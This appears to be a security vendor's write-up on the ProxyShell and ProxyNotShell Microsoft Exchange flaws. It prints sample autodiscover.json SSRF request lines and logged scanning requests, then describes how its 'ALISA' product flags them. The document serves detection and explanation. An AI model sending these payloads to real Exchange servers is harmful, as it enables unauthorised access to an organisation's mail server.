ProxyNotShell and ProxyShell Vulnerabilities

(CVE-2022-41040, CVE-2021-34473, CVE-2021-34523…)

What is ProxyShell?

The ProxyShell vulnerabilities contains CVEs (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) affecting the versions :

- Exchange Server 2013 (Cumulative Update 23 and below)
- Exchange Server 2016 (Cumulative Update 20 and below)
- Exchange Server 2019 (Cumulative Update 9 and below)

for on-premise Microsoft Exchange Servers.
ProxyShell is a chain of attacks that exploit three vulnerabilities affecting on-premise Microsoft Exchange servers to achieve pre-authenticated remote code execution (RCE).

CVE-2021-34473 Example:

GET /autodiscover/autodiscover.json?@acme.org/?&Email=autodiscover/autodiscover.json%3F@acme.org
GET /autodiscover/autodiscover.json?@acme.org/ews/exchange.asmx?&Email=autodiscover/autodiscover.json%3F@acme.org
POST /autodiscover/autodiscover.json?@acme.org/autodiscover/autodiscover.xml?&Email=autodiscover/autodiscover.json%3F@acme.org
POST /autodiscover/autodiscover.json?@acme.org/mapi/emsmdb?&Email=autodiscover/autodiscover.json%3F@ acme.org

CVE-2021-34523 Example:

POST /autodiscover/autodiscover.json?a=xxxx@acme.org/powershell/?X-Rps-CAT=[Base64-enc-data]

For this document we will focus on the CVEs : CVE-2021-34473 and CVE-2021-34523

What is ProxyNotShell?

ProxyNotShell, is a collection of vulnerabilites to gain control for Microsoft Exchange server that can be used simultaneously to attack. .These are zero-days for today since they are affecting latest versions.

CVE-2022-41040 and CVE-2022-41082 Examples:

GET /autodiscover/autodiscover.json?@outlook.com/&Email=autodiscover/autodiscover.json%3f@xx@acme.org

GET /autodiscover/autodiscover.json?%40zdi%2FPowershell= HTTP/1.1

GET /autodiscover/autodiscover.json?a%40foo_var%2Fowa%2F=&Email=autodiscover%2Fautodiscover.json%3Fa%40foo.var&Protocol=XYZ&FooProtocol=Powershell HTTP/1.1

```
GET /autodiscover/autodiscover.json@Powershell.dewd79hxlu.com/owa/www.google.com HTTP/1.1
Accept-Encoding: gzip
Connection: close
Host: <redacted>:443
Referer: https://<redacted>:443/autodiscover/autodiscover.json@Powershell.dewd79hxlu.com/owa/www.google.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:76.0) Gecko/20100101 Firefox/76.0

GET
/autodiscover/autodiscover.json?aa%40mail_<redacted>_edu_v6_6ipl9gf1rbdde8jlvh33c0t1tszjnbb0_<redacted>_com%2Fowa%2F%3F=&Email=autodiscover%2Fautodiscover.json%3Fa%40mail.<redacted>.edu.v6.6ipl9gf1rbdde8jlvh33c0t1tszjnbb0.<redacted>.com&Protocol=Autodiscoverv1&mail_<redacted>_edu_v6_euctlor93jplqgvt7pfbo85950brzin7_<redacted>_com=&protocol=Powershell HTTP/1.1
Accept-Encoding: gzip
Host: mail.<redacted>.edu
User-Agent: Fuzz Faster U Fool v1.5.0-dev
X-Https: 1
```

Why this is important?

Impacted services, if vulnerable, enable an authenticated attacker to compromise the underlying exchange server by leveraging existing exchange PowerShell, which could result in a full compromise.

The chained vulnerabilities could grant an outsider attacker the ability to read emails directly off an organization's server the ability to breach the organization with CVE-2022-41040 Remote Code Execution and implant malware on the organization's Exchange Server with CVE-2022-41082.

How ALISA can help?

ALISA can understand the deviations from normal requests in full http headers in order to classify the request as suspicious.

For example:

```
GET /autodiscover/autodiscover.json?@acme.org/?&Email=autodiscover/autodiscover.json%3F@acme.org
```

The pattern in orange is a rare pattern that ALISA alerts and when it is followed by the red pattern, ALISA increases its score and marks this request as suspicious.

And for a more complicated attack, the suspected parts are marked:

GET /autodiscover/autodiscover.json@Powershell.dewd79hxlu.com/owa/www.google.com HTTP/1.1
Accept-Encoding: gzip
Connection: close
Host: <redacted>:443
Referer: https://<redacted>:443/autodiscover/autodiscover.json@Powershell.dewd79hxlu.com/owa/www.google.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:76.0) Gecko/20100101 Firefox/76.0